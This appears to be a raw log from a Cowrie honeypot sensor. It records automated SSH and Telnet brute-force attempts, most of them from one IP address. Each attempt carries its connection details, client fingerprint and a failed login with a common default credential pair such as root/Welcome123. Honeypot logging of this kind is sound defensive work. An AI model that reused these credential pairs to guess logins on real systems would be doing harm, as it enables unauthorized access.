{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32982,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e7824819be","protocol":"ssh","message":"New connection: 192.109.200.237:32982 (159.203.135.109:22) [session: 86e7824819be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:36.808210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:36.813173Z","src_ip":"192.109.200.237","session":"86e7824819be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:36.895426Z","src_ip":"192.109.200.237","session":"86e7824819be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:37.141595Z","src_ip":"192.109.200.237","session":"86e7824819be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:38.226999Z","src_ip":"192.109.200.237","session":"86e7824819be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56118,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f2e74f0511","protocol":"telnet","message":"New connection: 50.6.8.71:56118 (10.17.0.5:23) [session: 38f2e74f0511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:38.578884Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60090,"dst_ip":"159.203.135.109","dst_port":22,"session":"40381cb71c98","protocol":"ssh","message":"New connection: 192.109.200.237:60090 (159.203.135.109:22) [session: 40381cb71c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:40.036338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:40.045484Z","src_ip":"192.109.200.237","session":"40381cb71c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:40.214250Z","src_ip":"192.109.200.237","session":"40381cb71c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56124,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a08cde75d1","protocol":"telnet","message":"New connection: 50.6.8.71:56124 (10.17.0.5:23) [session: a6a08cde75d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:40.497362Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:40.536334Z","src_ip":"192.109.200.237","session":"40381cb71c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:41.623609Z","src_ip":"192.109.200.237","session":"40381cb71c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60116,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3bbdc51676","protocol":"ssh","message":"New connection: 192.109.200.237:60116 (159.203.135.109:22) [session: ed3bbdc51676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:43.463747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:43.468441Z","src_ip":"192.109.200.237","session":"ed3bbdc51676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:43.550419Z","src_ip":"192.109.200.237","session":"ed3bbdc51676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:43.796521Z","src_ip":"192.109.200.237","session":"ed3bbdc51676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:44.880525Z","src_ip":"192.109.200.237","session":"ed3bbdc51676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03f2f027690","protocol":"ssh","message":"New connection: 192.109.200.237:60122 (159.203.135.109:22) [session: f03f2f027690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:46.685135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:46.688957Z","src_ip":"192.109.200.237","session":"f03f2f027690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:46.770176Z","src_ip":"192.109.200.237","session":"f03f2f027690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:47.017388Z","src_ip":"192.109.200.237","session":"f03f2f027690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:48.103068Z","src_ip":"192.109.200.237","session":"f03f2f027690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.639840126037598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:49.197934Z","src_ip":"50.6.8.71","session":"2c480cb77ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60142,"dst_ip":"159.203.135.109","dst_port":22,"session":"a34f5678d9ef","protocol":"ssh","message":"New connection: 192.109.200.237:60142 (159.203.135.109:22) [session: a34f5678d9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:49.997560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:50.001809Z","src_ip":"192.109.200.237","session":"a34f5678d9ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:50.084793Z","src_ip":"192.109.200.237","session":"a34f5678d9ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:50.330805Z","src_ip":"192.109.200.237","session":"a34f5678d9ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:51.418991Z","src_ip":"192.109.200.237","session":"a34f5678d9ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39432,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b92afd254a","protocol":"ssh","message":"New connection: 192.109.200.237:39432 (159.203.135.109:22) [session: b2b92afd254a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:53.284098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:53.415539Z","src_ip":"192.109.200.237","session":"b2b92afd254a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:53.418095Z","src_ip":"192.109.200.237","session":"b2b92afd254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:53.745269Z","src_ip":"192.109.200.237","session":"b2b92afd254a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:54.830076Z","src_ip":"192.109.200.237","session":"b2b92afd254a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a07fd6f929","protocol":"telnet","message":"New connection: 50.6.8.71:40712 (10.17.0.5:23) [session: a0a07fd6f929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:55.684936Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39436,"dst_ip":"159.203.135.109","dst_port":22,"session":"69267437f736","protocol":"ssh","message":"New connection: 192.109.200.237:39436 (159.203.135.109:22) [session: 69267437f736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:56.784711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:56.789602Z","src_ip":"192.109.200.237","session":"69267437f736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:56.871781Z","src_ip":"192.109.200.237","session":"69267437f736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:57.123119Z","src_ip":"192.109.200.237","session":"69267437f736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:58.209067Z","src_ip":"192.109.200.237","session":"69267437f736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59200,"dst_ip":"159.203.135.109","dst_port":22,"session":"00fc8ffc906e","protocol":"ssh","message":"New connection: 192.109.200.237:59200 (159.203.135.109:22) [session: 00fc8ffc906e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:00.135665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:00.141297Z","src_ip":"192.109.200.237","session":"00fc8ffc906e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:00.224421Z","src_ip":"192.109.200.237","session":"00fc8ffc906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:00.473463Z","src_ip":"192.109.200.237","session":"00fc8ffc906e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:01.606259Z","src_ip":"192.109.200.237","session":"00fc8ffc906e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59204,"dst_ip":"159.203.135.109","dst_port":22,"session":"21326f401608","protocol":"ssh","message":"New connection: 192.109.200.237:59204 (159.203.135.109:22) [session: 21326f401608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:03.531020Z"}
